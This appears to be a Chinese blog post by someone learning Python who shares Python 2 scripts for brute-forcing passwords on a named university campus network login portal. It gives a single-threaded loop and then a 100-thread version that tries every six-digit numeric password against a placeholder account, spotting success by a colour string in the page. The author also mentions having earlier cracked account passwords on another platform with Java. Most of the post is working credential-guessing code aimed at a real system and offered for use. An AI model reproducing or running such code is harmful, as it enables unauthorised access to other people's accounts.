因为“转行”的原因,开始学python了...
之前也用Java写过破取BB平台账号密码,但是对比py而言,这厮直接有了这个神器urllib 包...
代码量感觉也少了非常多!一种我py就是为了你用的爽的感觉,(虽然慢一些)
放一下代码,各位大神请多多指教:
# -*- coding: utf-8 -*-
import urllib2
import urllib
import sys
import re
import cookielib
# 解决中文编码问题
type = sys.getfilesystemencoding()
def sign(url,username,password):
state = 'none'
data = ''
#表单信息
values = {'action':'login',
'ac_id':'1',
'username':username,
'password':password
}
data = urllib.urlencode(values)
# 浏览器代理
user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'
headers = {'User-Agent':user_agent}
try:
print 'try password:',password
# 发出请求
request = urllib2.Request(url,headers = headers,data=data)
response = urllib2.urlopen(request)
# 继续解决真是头大的编码问题
content = response.read().decode("utf-8").encode(type)
# 匹配 html 文件,连接成功的界面里面有一个 orange 的颜色属性...
pattern = re.compile(r'orange',re.S)
items = re.findall(pattern,content)
for item in items:
state = item
#获取密码
if state =='orange':
print 'find the password and the password is' ,values['password']
return True
except urllib2.URLError, e:
if hasattr(e,'code'):
print e.code
if hasattr(e,'reason'):
print e.reason
return False
####后面就不多写了,循环再加多线程就更好了####
for i in range('密码范围'):
if sign('https://ipgw.neu.edu.cn/srun_portal_pc.php?url=&ac_id=1','账号',i):
break
这次就不用运行截图了,毕竟...最后希望大家的密码能复杂一些...
下面是多线程的实现 能破解从 纯6位密码
# -*- coding: utf-8 -*-
import urllib2,threading
import urllib
import sys
import re
import cookielib
# 解决真是头大的字符编码问题
type = sys.getfilesystemencoding()
flag = False
def sign(url,username,password):
state = 'none'
data = ''
#表单信息
values = {'action':'login',
'ac_id':'1',
'username':username,
'password':password
}
data = urllib.urlencode(values)
# 浏览器代理
user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'
headers = {'User-Agent':user_agent}
try:
print 'try password:',password
# 发出请求
request = urllib2.Request(url,headers = headers,data=data)
response = urllib2.urlopen(request)
# 继续解决真是头大的字符编码问题
content = response.read().decode("utf-8").encode(type)
# 匹配 html 文件,连接成功的界面里面有一个 orange 的颜色属性...
pattern = re.compile(r'orange',re.S)
items = re.findall(pattern,content)
for item in items:
state = item
#获取密码
if state =='orange':
print 'find the password and the password is' ,values['password']
return True
except urllib2.URLError, e:
if hasattr(e,'code'):
print e.code
if hasattr(e,'reason'):
print e.reason
return False
#-----------------------------#
threadl = []
def find(s,e):
global flag
for i in range(s,e):
if flag==True:
return
if sign('https://ipgw.neu.edu.cn/srun_portal_pc.php?url=&ac_id=1','XXXXXXX',i):
flag = True
return
for i in range(100):
t = threading.Thread(target=find, args =(100000+9000*i,109000+9000*i))
threadl.append(t)
for t in threadl:
t.start()
for t in threadl:
t.join()